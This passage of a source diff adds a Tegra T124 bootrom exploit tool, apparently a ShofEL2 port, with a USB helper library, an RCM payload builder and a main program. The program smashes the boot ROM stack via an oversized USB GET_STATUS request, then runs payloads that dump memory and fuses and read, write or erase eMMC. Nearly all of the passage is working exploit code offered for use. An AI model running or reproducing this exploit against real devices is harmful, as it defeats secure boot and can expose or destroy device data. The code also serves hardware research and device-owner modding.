||||
|
||||
if ( !read(attr_fd, attr_buf, sizeof(attr_buf)) ) {
|
||||
DEBUG_MSG( "Usb %s: couldn't read %s.\n", d_name, attr );
|
||||
goto exit;
|
||||
}
|
||||
|
||||
*val = (uint16_t) strtol(attr_buf, NULL, base);
|
||||
|
||||
ret = 0;
|
||||
|
||||
exit:
|
||||
close(attr_fd);
|
||||
return ret;
|
||||
|
||||
}
|
||||
|
||||
int usb_find_path_by_vid_pid( char *path, uint16_t vid, uint16_t pid ) {
|
||||
|
||||
int ret = -1;
|
||||
uint16_t d_vid, d_pid, d_bus, d_num;
|
||||
DIR *devices = opendir( SYSFS_DEVICE_PATH );
|
||||
struct dirent *entry;
|
||||
|
||||
if ( !devices ) {
|
||||
fprintf( stderr, "Critical Error: Sysfs not avaiable." );
|
||||
return 1;
|
||||
}
|
||||
|
||||
while ( ( entry = readdir( devices ) ) ) {
|
||||
|
||||
if ( !isdigit( entry->d_name[0] ) || strchr( entry->d_name, ':' ) )
|
||||
continue;
|
||||
|
||||
if ( !usb_get_att( &d_vid, entry->d_name, "idVendor", 16 ) && ( vid == d_vid ) &&
|
||||
!usb_get_att( &d_pid, entry->d_name, "idProduct", 16 ) && ( pid == d_pid ) &&
|
||||
!usb_get_att( &d_bus, entry->d_name, "busnum", 10 ) &&
|
||||
!usb_get_att( &d_num, entry->d_name, "devnum", 10 ) ) {
|
||||
|
||||
sprintf( path, "/dev/bus/usb/%03d/%03d", d_bus, d_num );
|
||||
ret = 0;
|
||||
break;
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
closedir( devices );
|
||||
return ret;
|
||||
|
||||
}
|
||||
|
||||
int usb_open_by_vid_pid( uint16_t vid, uint16_t pid, uint8_t wait ) {
|
||||
|
||||
int ret;
|
||||
char path[256];
|
||||
|
||||
do {
|
||||
ret = usb_find_path_by_vid_pid( path, vid, pid );
|
||||
usleep( 500 );
|
||||
} while ( wait && ( ret < 0 ) );
|
||||
DEBUG_MSG( "USB Path: %s\n", path );
|
||||
|
||||
if (ret) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
return open( path, O_RDWR );
|
||||
|
||||
}
|
||||
|
||||
int usb_close( int usb ) {
|
||||
return usb;
|
||||
}
|
||||
|
||||
int usb_send_control_txn( int usb, uint8_t bRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, uint16_t len, uint8_t *data, int32_t timeout ) {
|
||||
|
||||
int ret = -1;
|
||||
size_t setup_len = sizeof ( struct setup_data ) + len;
|
||||
struct setup_data *setup_data_buf;
|
||||
setup_data_buf = malloc( setup_len );
|
||||
memset( setup_data_buf, 0, setup_len );
|
||||
|
||||
setup_data_buf->bRequestType = bRequestType;
|
||||
setup_data_buf->bRequest = bRequest;
|
||||
setup_data_buf->wValue = wValue;
|
||||
setup_data_buf->wIndex = wIndex;
|
||||
setup_data_buf->wLength = len;
|
||||
|
||||
struct usbdevfs_urb usb_control_urb;
|
||||
memset(&usb_control_urb, 0, sizeof (usb_control_urb));
|
||||
|
||||
usb_control_urb.type = USBDEVFS_URB_TYPE_CONTROL;
|
||||
usb_control_urb.endpoint = 0x0;
|
||||
usb_control_urb.buffer = setup_data_buf;
|
||||
usb_control_urb.buffer_length = setup_len;
|
||||
|
||||
ioctl( usb, USBDEVFS_SUBMITURB, &usb_control_urb );
|
||||
|
||||
struct usbdevfs_urb *urb_reaped = NULL;
|
||||
|
||||
if ( timeout ) {
|
||||
|
||||
while ( timeout > 0 ) {
|
||||
|
||||
int _ret = ioctl( usb, USBDEVFS_REAPURBNDELAY, &urb_reaped );
|
||||
if ( _ret == 0 ) {
|
||||
break;
|
||||
}
|
||||
usleep(200000);
|
||||
timeout -= 200;
|
||||
|
||||
}
|
||||
|
||||
} else {
|
||||
|
||||
ioctl( usb, USBDEVFS_REAPURB, &urb_reaped );
|
||||
|
||||
}
|
||||
|
||||
if ( urb_reaped && urb_reaped->status == 0 ) {
|
||||
ret = 0;
|
||||
memcpy( data, setup_data_buf->data, len );
|
||||
}
|
||||
|
||||
if ( setup_data_buf ) free( setup_data_buf );
|
||||
return ret;
|
||||
|
||||
}
|
||||
|
||||
int usb_send_bulk_txn( int usb, uint32_t ep, uint32_t len, void *data ) {
|
||||
|
||||
struct usbdevfs_bulktransfer bulk_txn;
|
||||
memset( &bulk_txn, 0, sizeof ( bulk_txn ) );
|
||||
|
||||
bulk_txn.ep = ep;
|
||||
bulk_txn.len = len;
|
||||
bulk_txn.timeout = USB_BULK_TIMEOUT;
|
||||
bulk_txn.data = data;
|
||||
|
||||
if ( ioctl( usb, USBDEVFS_BULK, &bulk_txn ) == len )
|
||||
return 0;
|
||||
|
||||
return -1;
|
||||
|
||||
}
|
||||
|
||||
145
Shofel/exploit/rcm.c
Normal file
145
Shofel/exploit/rcm.c
Normal file
@@ -0,0 +1,145 @@
|
||||
#include "rcm.h"
|
||||
|
||||
int get_payload_aft_len( int payload_file_fd ) {
|
||||
|
||||
struct stat payload_file_stat;
|
||||
fstat( payload_file_fd, &payload_file_stat );
|
||||
size_t payload_size = payload_file_stat.st_size;
|
||||
|
||||
if ( payload_size > MAX_PAYLOAD_FILE_SIZE ) {
|
||||
fprintf( stderr, "Error: Payload file exceeds max payload size: %d bytes.\n", MAX_PAYLOAD_FILE_SIZE );
|
||||
return -1;
|
||||
}
|
||||
|
||||
size_t payload_aft_len = 0;
|
||||
if ( payload_size > MAX_PAYLOAD_BEF_SIZE ) {
|
||||
payload_aft_len = payload_size - MAX_PAYLOAD_BEF_SIZE;
|
||||
}
|
||||
|
||||
return payload_aft_len;
|
||||
}
|
||||
|
||||
int read_intermezzo( uint8_t *rcm_cmd_buf ) {
|
||||
|
||||
int ret = -1;
|
||||
int intermezzo_fd = 0;
|
||||
|
||||
intermezzo_fd = open( "intermezzo.bin", O_RDONLY );
|
||||
if ( intermezzo_fd < 0 ) {
|
||||
fprintf( stderr, "Error: Couldn't open the intermezzo.bin file.\n" );
|
||||
goto exit;
|
||||
}
|
||||
|
||||
struct stat intermezzo_stat;
|
||||
fstat( intermezzo_fd, &intermezzo_stat );
|
||||
size_t intermezzo_size = intermezzo_stat.st_size;
|
||||
if ( intermezzo_size > INTERMEZZO_LEN ) {
|
||||
fprintf( stderr, "Error: Intermezzo file exceeds max intermezzo size: %d bytes.\n", INTERMEZZO_LEN );
|
||||
goto exit;
|
||||
}
|
||||
|
||||
read( intermezzo_fd, rcm_cmd_buf + RCM_CMD_BUF_INTERMEZZO_START, INTERMEZZO_LEN );
|
||||
|
||||
ret = 0;
|
||||
|
||||
exit:
|
||||
if ( intermezzo_fd > 0) close( intermezzo_fd );
|
||||
|
||||
return ret;
|
||||
|
||||
}
|
||||
|
||||
int read_payload_file( int payload_file_fd, uint8_t *rcm_cmd_buf, size_t rcm_cmd_buf_len ) {
|
||||
|
||||
uint32_t payload_bef_len = read( payload_file_fd, rcm_cmd_buf + RCM_CMD_BUF_PAYLOAD_START, MAX_PAYLOAD_BEF_SIZE );
|
||||
uint32_t payload_aft_len = 0;
|
||||
|
||||
if ( rcm_cmd_buf_len > RCM_CMD_BUF_PAYLOAD_CONT ) {
|
||||
payload_aft_len = read( payload_file_fd, rcm_cmd_buf + RCM_CMD_BUF_PAYLOAD_CONT, rcm_cmd_buf_len - RCM_CMD_BUF_PAYLOAD_CONT );
|
||||
}
|
||||
|
||||
payload_bef_len = TO_LITTLE_ENDIAN( payload_bef_len );
|
||||
payload_aft_len = TO_LITTLE_ENDIAN( payload_aft_len );
|
||||
memcpy( rcm_cmd_buf + RCM_CMD_BUF_PAYLOAD_BEF_LENVAR, (uint8_t *)&payload_bef_len, 0x4 );
|
||||
memcpy( rcm_cmd_buf + RCM_CMD_BUF_PAYLOAD_AFT_LENVAR, (uint8_t *)&payload_aft_len, 0x4 );
|
||||
|
||||
return 0;
|
||||
|
||||
}
|
||||
|
||||
int build_rcm_cmd( int payload_file_fd, uint8_t *rcm_cmd_buf, size_t rcm_cmd_buf_len, uint32_t payload_thumb_mode ) {
|
||||
|
||||
int ret = -1;
|
||||
|
||||
const uint32_t rcm_cmd_len = TO_LITTLE_ENDIAN( RCM_CMD_LEN );
|
||||
const uint32_t payload_entry = TO_LITTLE_ENDIAN( BOOTROM_PAYLOAD_ENTRY | 0x1 );
|
||||
payload_thumb_mode = TO_LITTLE_ENDIAN( payload_thumb_mode );
|
||||
|
||||
ret = read_intermezzo( rcm_cmd_buf );
|
||||
if ( ret < 0 ) {
|
||||
goto exit;
|
||||
}
|
||||
|
||||
ret = read_payload_file( payload_file_fd, rcm_cmd_buf, rcm_cmd_buf_len );
|
||||
if ( ret < 0 ) {
|
||||
goto exit;
|
||||
}
|
||||
|
||||
memcpy( rcm_cmd_buf, (uint8_t *)&rcm_cmd_len, sizeof(uint32_t) );
|
||||
memcpy( rcm_cmd_buf + RCM_CMD_BUF_MEMCPY_RET_ADD, (uint8_t *)&payload_entry, sizeof(uint32_t) );
|
||||
memcpy( rcm_cmd_buf + RCM_CMD_BUF_PAYLOAD_THUMB_MODE, (uint8_t *)&payload_thumb_mode, sizeof(uint32_t) );
|
||||
|
||||
ret = 0;
|
||||
|
||||
exit:
|
||||
|
||||
return ret;
|
||||
|
||||
}
|
||||
|
||||
int send_rcm_cmd( int rcm_usb, char* payload_filename, uint32_t payload_thumb_mode ) {
|
||||
|
||||
int ret = -1;
|
||||
uint8_t *rcm_cmd_buf = 0;
|
||||
int payload_file_fd = 0;
|
||||
|
||||
payload_file_fd = open( payload_filename, O_RDONLY );
|
||||
if ( payload_file_fd < 0 ) {
|
||||
fprintf( stderr, "Error: Couldn't open the payload file: %s.\n", payload_filename );
|
||||
goto exit;
|
||||
}
|
||||
|
||||
int payload_aft_len = get_payload_aft_len( payload_file_fd );
|
||||
if ( payload_aft_len < 0 ) {
|
||||
goto exit;
|
||||
}
|
||||
|
||||
size_t rcm_cmd_buf_len = RCM_CMD_BUF_PAYLOAD_CONT + payload_aft_len;
|
||||
size_t padding = 0x1000 - ( rcm_cmd_buf_len % 0x1000 );
|
||||
uint32_t n_writes = ( rcm_cmd_buf_len + padding) / 0x1000;
|
||||
if ( ! ( n_writes % 2 ) ) {
|
||||
padding += 0x1000;
|
||||
}
|
||||
|
||||
rcm_cmd_buf = malloc( rcm_cmd_buf_len + padding );
|
||||
if ( !rcm_cmd_buf ) {
|
||||
fprintf( stderr, "Error: Couldn't alloc memory for RCM CMD buffer\n" );
|
||||
goto exit;
|
||||
}
|
||||
memset( rcm_cmd_buf, 0x00, rcm_cmd_buf_len + padding);
|
||||
|
||||
ret = build_rcm_cmd( payload_file_fd, rcm_cmd_buf, rcm_cmd_buf_len, payload_thumb_mode );
|
||||
if ( ret < 0 ) {
|
||||
goto exit;
|
||||
}
|
||||
|
||||
ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_OUT, rcm_cmd_buf_len + padding, rcm_cmd_buf );
|
||||
|
||||
exit:
|
||||
if (payload_file_fd > 0) close(payload_file_fd);
|
||||
if (rcm_cmd_buf) free(rcm_cmd_buf);
|
||||
|
||||
return ret;
|
||||
|
||||
}
|
||||
|
||||
693
Shofel/exploit/shofel2_t124.c
Normal file
693
Shofel/exploit/shofel2_t124.c
Normal file
@@ -0,0 +1,693 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include "t124.h"
|
||||
#include "rcm.h"
|
||||
#include "fuse.h"
|
||||
#include "mini_libusb.h"
|
||||
#include "mem_dumper_usb_server.h"
|
||||
#include "emmc_server.h"
|
||||
#include "emmc.h"
|
||||
|
||||
#include <sys/stat.h>
|
||||
#include <time.h>
|
||||
|
||||
void print_hex_memory( void *mem, size_t size ) {
|
||||
uint8_t *p = (uint8_t *)mem;
|
||||
for ( int i = 0; i < size ; i++ ) {
|
||||
if ( ( ( i % 16 ) == 0 ) && i )
|
||||
printf( "\n" );
|
||||
printf( "0x%02x ", p[i] );
|
||||
}
|
||||
printf( "\n" );
|
||||
}
|
||||
|
||||
void print_help() {
|
||||
|
||||
fprintf( stderr, "shofel2_t124 ( MEM_DUMP | READ_FUSES | BOOT_BCT | PAYLOAD | DUMP_STACK | EMMC_STATUS | EMMC_READ | EMMC_WRITE | EMMC_READ_EXT_CSD | EMMC_ERASE ) [options]\n"
|
||||
"\t* MEM_DUMP address length out_file -> Dumps \"length\" bytes starting from \"address\" to \"out_file\".\n"
|
||||
"\t* READ_FUSES out_file -> Dumps the T124 fuses to \"out_file\" and show them in console.\n"
|
||||
"\t* BOOT_BCT -> Boots BCT without applying locks.\n"
|
||||
"\t* PAYLOAD payload.bin [arm|thumb] -> Boots \"payload.bin\" the entrymode mode can be specified (thumb by default).\n"
|
||||
"\t* DUMP_STACK -> Dumps the stack as it is before smash it.\n"
|
||||
"\t* EMMC_STATUS -> Dumps SDMMC4 controller registers.\n"
|
||||
"\t* EMMC_READ start_sector num_sectors out_file -> Reads eMMC sectors to file (hex values).\n"
|
||||
"\t* EMMC_WRITE start_sector in_file -> Writes file to eMMC at start_sector (hex value).\n"
|
||||
"\t* EMMC_READ_EXT_CSD out_file -> Reads 512-byte EXT_CSD register (chip health/config info).\n"
|
||||
"\t* EMMC_ERASE start_sector end_sector -> Erases sectors (tells controller to reallocate bad blocks).\n\n" );
|
||||
|
||||
}
|
||||
|
||||
int main( int argc, char *argv[] ) {
|
||||
|
||||
int _ret_main = -1;
|
||||
int rcm_usb = 0;
|
||||
|
||||
uint8_t *data = NULL;
|
||||
|
||||
int hacky_get_status_len = BOOTROM_SMASH_LEN;
|
||||
|
||||
char *payload_filename = NULL;
|
||||
uint32_t payload_thumb_mode = 1;
|
||||
|
||||
uint8_t *dump = NULL;
|
||||
uint32_t dump_start = 0;
|
||||
uint32_t dump_len = 0;
|
||||
char *dump_filename;
|
||||
int dump_fd = -1;
|
||||
uint8_t do_print_fuse = 0;
|
||||
|
||||
int emmc_mode = 0; /* 0=none, 1=status, 2=read, 3=write, 4=read_ext_csd, 5=erase */
|
||||
uint32_t emmc_start_sector = 0;
|
||||
uint32_t emmc_num_sectors = 0;
|
||||
char *emmc_filename = NULL;
|
||||
|
||||
|
||||
// ---- PARSE ARGS ----
|
||||
|
||||
if ( argc < 2 ) {
|
||||
fprintf( stderr, "Error: invalid argument count.\n\n" );
|
||||
print_help();
|
||||
goto exit;
|
||||
}
|
||||
|
||||
if ( !strcmp( argv[1], "MEM_DUMP" ) ) {
|
||||
|
||||
if ( argc != 5 ) {
|
||||
fprintf( stderr, "Error: invalid argument count. shofel2_t124 MEM_DUMP address length out_file.\n" );
|
||||
goto exit;
|
||||
}
|
||||
payload_filename = "mem_dumper_usb_server.bin";
|
||||
sscanf( argv[2], "%x", &dump_start );
|
||||
sscanf( argv[3], "%x", &dump_len );
|
||||
dump_filename = argv[4];
|
||||
|
||||
} else if ( !strcmp( argv[1], "READ_FUSES" ) ) {
|
||||
|
||||
if ( argc != 3 ) {
|
||||
fprintf( stderr, "Error: invalid argument count. shofel2_t124 READ_FUSES out_file.\n" );
|
||||
goto exit;
|
||||
}
|
||||
payload_filename = "mem_dumper_usb_server.bin";
|
||||
dump_start = FUSE_BASE;
|
||||
dump_len = FUSE_LEN;
|
||||
dump_filename = argv[2];
|
||||
do_print_fuse = 1;
|
||||
|
||||
} else if ( !strcmp( argv[1], "BOOT_BCT" ) ) {
|
||||
|
||||
if ( argc != 2 ) {
|
||||
fprintf( stderr, "Error: invalid argument count. shofel2_t124 BOOT_BCT.\n" );
|
||||
goto exit;
|
||||
}
|
||||
payload_filename = "boot_bct.bin";
|
||||
|
||||
} else if ( !strcmp( argv[1], "PAYLOAD" ) ) {
|
||||
|
||||
if ( ( argc != 3 ) && ( argc != 4 ) ) {
|
||||
fprintf( stderr, "Error: invalid argument count. shofel2_t124 PAYLOAD payload.bin [arm|thumb]\nThumb mode will be used by default.\n" );
|
||||
goto exit;
|
||||
}
|
||||
payload_filename = argv[2];
|
||||
if ( ( argc == 4 ) && ( argv[3][0] == 'a' ) ) {
|
||||
payload_thumb_mode = 0;
|
||||
}
|
||||
|
||||
} else if ( !strcmp( argv[1], "DUMP_STACK" ) ) {
|
||||
|
||||
if ( argc != 2 ) {
|
||||
fprintf( stderr, "Error: invalid argument count. shofel2_t124 DUMP_STACK.\n" );
|
||||
goto exit;
|
||||
}
|
||||
|
||||
payload_filename = "boot_bct.bin"; // This payload shouldn't run on this CMD...
|
||||
hacky_get_status_len = BOOTROM_STACK_GAP_LEN;
|
||||
|
||||
} else if ( !strcmp( argv[1], "EMMC_STATUS" ) ) {
|
||||
|
||||
if ( argc != 2 ) {
|
||||
fprintf( stderr, "Error: invalid argument count. shofel2_t124 EMMC_STATUS.\n" );
|
||||
goto exit;
|
||||
}
|
||||
payload_filename = "emmc_server.bin";
|
||||
emmc_mode = 1;
|
||||
|
||||
} else if ( !strcmp( argv[1], "EMMC_READ" ) ) {
|
||||
|
||||
if ( argc != 5 ) {
|
||||
fprintf( stderr, "Error: invalid argument count. shofel2_t124 EMMC_READ start_sector num_sectors out_file.\n" );
|
||||
goto exit;
|
||||
}
|
||||
payload_filename = "emmc_server.bin";
|
||||
sscanf( argv[2], "%x", &emmc_start_sector );
|
||||
sscanf( argv[3], "%x", &emmc_num_sectors );
|
||||
emmc_filename = argv[4];
|
||||
emmc_mode = 2;
|
||||
|
||||
} else if ( !strcmp( argv[1], "EMMC_WRITE" ) ) {
|
||||
|
||||
if ( argc != 4 ) {
|
||||
fprintf( stderr, "Error: invalid argument count. shofel2_t124 EMMC_WRITE start_sector in_file.\n" );
|
||||
goto exit;
|
||||
}
|
||||
payload_filename = "emmc_server.bin";
|
||||
sscanf( argv[2], "%x", &emmc_start_sector );
|
||||
emmc_filename = argv[3];
|
||||
emmc_mode = 3;
|
||||
|
||||
} else if ( !strcmp( argv[1], "EMMC_READ_EXT_CSD" ) ) {
|
||||
|
||||
if ( argc != 3 ) {
|
||||
fprintf( stderr, "Error: invalid argument count. shofel2_t124 EMMC_READ_EXT_CSD out_file.\n" );
|
||||
goto exit;
|
||||
}
|
||||
payload_filename = "emmc_server.bin";
|
||||
emmc_filename = argv[2];
|
||||
emmc_mode = 4;
|
||||
|
||||
} else if ( !strcmp( argv[1], "EMMC_ERASE" ) ) {
|
||||
|
||||
if ( argc != 4 ) {
|
||||
fprintf( stderr, "Error: invalid argument count. shofel2_t124 EMMC_ERASE start_sector end_sector.\n" );
|
||||
goto exit;
|
||||
}
|
||||
payload_filename = "emmc_server.bin";
|
||||
sscanf( argv[2], "%x", &emmc_start_sector );
|
||||
sscanf( argv[3], "%x", &emmc_num_sectors ); /* Reusing num_sectors for end_sector */
|
||||
emmc_mode = 5;
|
||||
|
||||
} else {
|
||||
|
||||
fprintf( stderr, "Error: invalid command.\n\n" );
|
||||
print_help();
|
||||
goto exit;
|
||||
|
||||
}
|
||||
|
||||
// --------------------
|
||||
|
||||
|
||||
// ----- INIT RCM -----
|
||||
|
||||
printf( "Waiting T124 to enter RCM mode (ctrl-c to cancel). Note: root permission could be required.\n" );
|
||||
printf( "Trying Jetson TK1 (0x7140), Shield TK1 (0x7f40), Jibo (0x7740)...\n" );
|
||||
rcm_usb = usb_open_by_vid_pid( (uint16_t)JETSON_TK1_VID, (uint16_t)JETSON_TK1_PID, 0 );
|
||||
if ( rcm_usb < 0 )
|
||||
rcm_usb = usb_open_by_vid_pid( (uint16_t)SHIELD_TK1_VID, (uint16_t)SHIELD_TK1_PID, 0 );
|
||||
if ( rcm_usb < 0 )
|
||||
rcm_usb = usb_open_by_vid_pid( (uint16_t)JIBO_TK1_VID, (uint16_t)JIBO_TK1_PID, 1 );
|
||||
printf( "K1 in RCM mode connected.\n" );
|
||||
if ( rcm_usb < 0 ) {
|
||||
fprintf( stderr, "Error: Couldn't open the usb.\n" );
|
||||
goto exit;
|
||||
}
|
||||
|
||||
uint8_t chip_id_buf[RCM_CHIP_ID_LEN];
|
||||
memset( &chip_id_buf, 0, sizeof(chip_id_buf) );
|
||||
|
||||
int ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_IN, RCM_CHIP_ID_LEN, chip_id_buf );
|
||||
if ( ret < 0 ) {
|
||||
fprintf( stderr, "Error: Couldn't read Chip ID. Please reset T124 in RCM mode again.\n" );
|
||||
goto exit;
|
||||
}
|
||||
printf( "Chip ID: " );
|
||||
print_hex_memory( chip_id_buf, RCM_CHIP_ID_LEN );
|
||||
|
||||
//-----------------------
|
||||
|
||||
|
||||
// ---- SEND PAYLOAD ----
|
||||
|
||||
ret = send_rcm_cmd(rcm_usb, payload_filename, payload_thumb_mode);
|
||||
if ( ret < 0 ) {
|
||||
printf( "Error: Couldn't send RCM CMD.\n" );
|
||||
goto exit;
|
||||
}
|
||||
|
||||
//----------------------
|
||||
|
||||
|
||||
// ---- RUN EXPLOIT ----
|
||||
|
||||
data = malloc( hacky_get_status_len );
|
||||
ret = usb_send_control_txn( rcm_usb, USB_CTRL_DEVICE_ENDPOINT_TO_HOST,
|
||||
USB_CTRL_GET_STATUS, 0, 0, hacky_get_status_len, data, 500 );
|
||||
if ( ret == 0 ) {
|
||||
if ( hacky_get_status_len == BOOTROM_STACK_GAP_LEN ) {
|
||||
printf( "Hacky Get Status finished correctly... Showing Stack\n" );
|
||||
_ret_main = 0;
|
||||
} else {
|
||||
printf( "Error: Hacky Get Status finished correctly... Not cool :-(\n" );
|
||||
}
|
||||
print_hex_memory( data, hacky_get_status_len );
|
||||
goto exit;
|
||||
}
|
||||
|
||||
printf( "Hacky Get Status returned error... Probably the stack got smashed, Congrats :-)\n" );
|
||||
|
||||
//----------------------
|
||||
|
||||
|
||||
// --- MEM DUMP CMD ----
|
||||
|
||||
if ( dump_len ) {
|
||||
|
||||
printf( "Dumping %d bytes from 0x%08x.\n", dump_len, dump_start );
|
||||
struct mem_dumper_args_s mem_dumper_args = {
|
||||
.start = dump_start,
|
||||
.len = dump_len
|
||||
};
|
||||
|
||||
ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_OUT, sizeof( mem_dumper_args ), &mem_dumper_args );
|
||||
if ( ret < 0 ) {
|
||||
printf( "Error: Fail sending arguments to memory dumper usb server.\n" );
|
||||
goto exit;
|
||||
}
|
||||
|
||||
dump = malloc( dump_len );
|
||||
ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_IN, dump_len, dump );
|
||||
if ( ret < 0 ) {
|
||||
printf( "Error: Fail receiving memory dump.\n" );
|
||||
goto exit;
|
||||
}
|
||||
|
||||
dump_fd = open( dump_filename, O_WRONLY | O_TRUNC | O_CREAT );
|
||||
if ( dump_fd < 0 ) {
|
||||
printf( "Error: Fail opening dump out file.\n" );
|
||||
goto exit;
|
||||
}
|
||||
write( dump_fd, dump, dump_len );
|
||||
|
||||
if ( do_print_fuse ) {
|
||||
print_fuses( (fuse_chip_registers_t *) dump );
|
||||
}
|
||||
}
|
||||
|
||||
//----------------------
|
||||
|
||||
|
||||
// ---- EMMC CMD ----
|
||||
|
||||
if ( emmc_mode ) {
|
||||
|
||||
uint8_t *chunk_buf = malloc(EMMC_CHUNK_BYTES);
|
||||
if (!chunk_buf) {
|
||||
printf("Error: failed to allocate chunk buffer (size %u)\n", EMMC_CHUNK_BYTES);
|
||||
goto emmc_exit;
|
||||
}
|
||||
struct emmc_cmd_s emmc_cmd;
|
||||
|
||||
if ( emmc_mode == 1 ) { /* EMMC_STATUS */
|
||||
|
||||
emmc_cmd.op = EMMC_CMD_STATUS;
|
||||
emmc_cmd.start_sector = 0;
|
||||
emmc_cmd.num_sectors = 0;
|
||||
|
||||
ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_OUT, sizeof(emmc_cmd), &emmc_cmd );
|
||||
if ( ret < 0 ) { printf( "Error: Failed to send STATUS command.\n" ); goto emmc_exit; }
|
||||
|
||||
uint8_t regs[SDMMC4_REG_SIZE];
|
||||
ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_IN, SDMMC4_REG_SIZE, regs );
|
||||
if ( ret < 0 ) { printf( "Error: Failed to receive register dump.\n" ); goto emmc_exit; }
|
||||
|
||||
printf( "SDMMC4 Register Dump (0x%08x - 0x%08x):\n", SDMMC4_BASE, SDMMC4_BASE + SDMMC4_REG_SIZE - 1 );
|
||||
print_hex_memory( regs, SDMMC4_REG_SIZE );
|
||||
|
||||
uint32_t *r = (uint32_t*)regs;
|
||||
printf( "\n--- Payload Status ---\n" );
|
||||
printf( " Magic: 0x%08x %s\n", r[0], r[0] == 0xCAFE0000 ? "(OK)" : "(BAD!)" );
|
||||
printf( " Init Error: 0x%08x %s\n", r[1],
|
||||
r[1] == 0 ? "(none)" :
|
||||
(r[1] == 0xD0000001 && r[2]) ? "(clock warning - but init OK!)" : "(FAILED)" );
|
||||
printf( " Initialized: %u\n", r[2] );
|
||||
|
||||
printf( "\n--- SDHCI Registers ---\n" );
|
||||
printf( " PRESENT_STATE: 0x%08x\n", r[3] );
|
||||
printf( " CLOCK_CONTROL: 0x%04x\n", r[4] );
|
||||
printf( " INT_STATUS: 0x%08x\n", r[5] );
|
||||
printf( " INT_ENABLE: 0x%08x\n", r[6] );
|
||||
printf( " CAPABILITIES: 0x%08x\n", r[7] );
|
||||
printf( " HOST_CONTROL: 0x%08x\n", r[8] );
|
||||
printf( " RESPONSE[0-3]: 0x%08x 0x%08x 0x%08x 0x%08x\n", r[9], r[10], r[11], r[12] );
|
||||
|
||||
uint32_t ps = r[3];
|
||||
uint32_t clk = r[4];
|
||||
printf( "\n--- Status Decode ---\n" );
|
||||
printf( " Card Inserted: %s\n", (ps & SDHCI_CARD_INSERTED) ? "YES" : "NO" );
|
||||
printf( " CMD Inhibit: %s\n", (ps & SDHCI_CMD_INHIBIT) ? "YES (busy)" : "NO (ready)" );
|
||||
printf( " DAT Inhibit: %s\n", (ps & SDHCI_DAT_INHIBIT) ? "YES (busy)" : "NO (ready)" );
|
||||
printf( " Int Clock Enabled: %s\n", (clk & 0x0001) ? "YES" : "NO" );
|
||||
printf( " Int Clock Stable: %s\n", (clk & 0x0002) ? "YES" : "NO" );
|
||||
printf( " SD Clock Enabled: %s\n", (clk & 0x0004) ? "YES" : "NO" );
|
||||
printf( " Clock Divider: %u\n", (clk >> 8) & 0xFF );
|
||||
|
||||
if (r[1] != 0) {
|
||||
printf( "\n >>> INIT FAILED with error 0x%08x\n", r[1] );
|
||||
if (r[1] == 0xD0000001) printf( " Internal Clock Stable bit never set (200ms timeout)\n" );
|
||||
else if ((r[1] & 0xF0000000) == 0xE0000000) {
|
||||
uint32_t step = r[1] & 0xFFF;
|
||||
const char *cmds[] = { "", "CMD0", "CMD1", "CMD1 timeout", "CMD2", "CMD3", "CMD7", "CMD16" };
|
||||
if (step < 8) printf( " Failed at: %s\n", cmds[step] );
|
||||
}
|
||||
}
|
||||
|
||||
printf( "\n--- Sector 0 Read ---\n" );
|
||||
printf( " Result: 0x%08x %s\n", r[13],
|
||||
r[13] == 0 ? "(OK)" :
|
||||
r[13] == 0xCAFE0001 ? "(skipped - not initialized)" : "(FAILED)" );
|
||||
if (r[13] == 0) {
|
||||
printf( " First word (MBR): 0x%08x\n", r[15] );
|
||||
} else if (r[13] != 0xCAFE0001 && r[13] != 0) {
|
||||
printf( " Error INT_STATUS: 0x%08x\n", r[14] );
|
||||
if (r[14] & 0x00010000) printf( " -> Command Timeout Error\n" );
|
||||
if (r[14] & 0x00020000) printf( " -> Command CRC Error\n" );
|
||||
if (r[14] & 0x00100000) printf( " -> Data Timeout Error\n" );
|
||||
if (r[14] & 0x00200000) printf( " -> Data CRC Error\n" );
|
||||
if (r[14] & 0x00400000) printf( " -> Data End Bit Error\n" );
|
||||
}
|
||||
|
||||
printf( "\n--- RESIDUAL STATE ---\n" );
|
||||
printf( " CAR:\n" );
|
||||
printf( " CLK_OUT_ENB_L: 0x%08x (SDMMC4 clk: %s)\n", r[16], (r[16] & 0x8000) ? "ON" : "OFF" );
|
||||
printf( " RST_DEVICES_L: 0x%08x (SDMMC4 rst: %s)\n", r[17], (r[17] & 0x8000) ? "ASSERTED" : "DEASSERTED" );
|
||||
printf( " CLK_SOURCE_SDMMC4: 0x%08x\n", r[18] );
|
||||
printf( " PLLP_BASE: 0x%08x (en:%s lock:%s)\n", r[35],
|
||||
(r[35] & (1u<<30)) ? "Y" : "N", (r[35] & (1u<<27)) ? "Y" : "N" );
|
||||
printf( " PMC:\n" );
|
||||
printf( " IO_DPD2_STATUS: 0x%08x\n", r[19] );
|
||||
printf( " PMC+0xE8: 0x%08x (bit1: %u)\n", r[36], (r[36] >> 1) & 1 );
|
||||
printf( " IROM table:\n" );
|
||||
printf( " IRAM[0x400022FC]: 0x%08x %s\n", r[20],
|
||||
(r[20] >= 0x100000 && r[20] < 0x110000) ? "(IROM ptr - good!)" :
|
||||
(r[20] >= 0x40000000 && r[20] < 0x40040000) ? "(IRAM ptr)" :
|
||||
r[20] == 0 ? "(NULL - corrupted!)" : "(unexpected!)" );
|
||||
printf( " table[0]: 0x%08x\n", r[21] );
|
||||
printf( " table[1]: 0x%08x\n", r[22] );
|
||||
printf( " CAPABILITIES: 0x%08x (base_clk: %u MHz)\n",
|
||||
r[23], (r[23] >> 8) & 0xFF );
|
||||
|
||||
printf( "\n--- IROM device_init_generic CALL (attempt 29) ---\n" );
|
||||
printf( " Return value: 0x%08x %s\n", r[24],
|
||||
r[24] == 0 ? "(OK!)" : "(FAILED or corrupted)" );
|
||||
|
||||
printf( "\n--- SDHCI INIT (after device_init_generic) ---\n" );
|
||||
printf( " Clock stable poll:\n" );
|
||||
